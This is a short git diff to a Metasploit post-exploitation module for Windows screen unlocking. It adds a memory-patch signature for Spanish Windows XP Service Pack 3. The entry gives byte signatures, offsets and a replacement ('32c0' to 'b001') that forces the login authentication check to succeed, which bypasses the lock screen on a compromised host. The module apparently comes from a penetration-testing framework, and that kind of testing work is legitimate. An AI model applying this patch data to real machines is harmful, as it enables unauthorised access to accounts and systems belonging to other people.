diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb
index c3446babf7..413741c2af 100644
--- a/modules/post/windows/escalate/screen_unlock.rb
+++ b/modules/post/windows/escalate/screen_unlock.rb
@@ -62,7 +62,8 @@ class Metasploit3 < Msf::Post
 			{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },
 			{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },
 			{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },
-			{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }
+			{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ },
+			{ :sig => "8bff558bec83ec50a1",       :sigoffset => 0x97d3, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x9878, :os => /Windows XP.*Service Pack 3 - spanish/ }
 		]
 
 		unsupported if client.platform !~ /win32|win64/i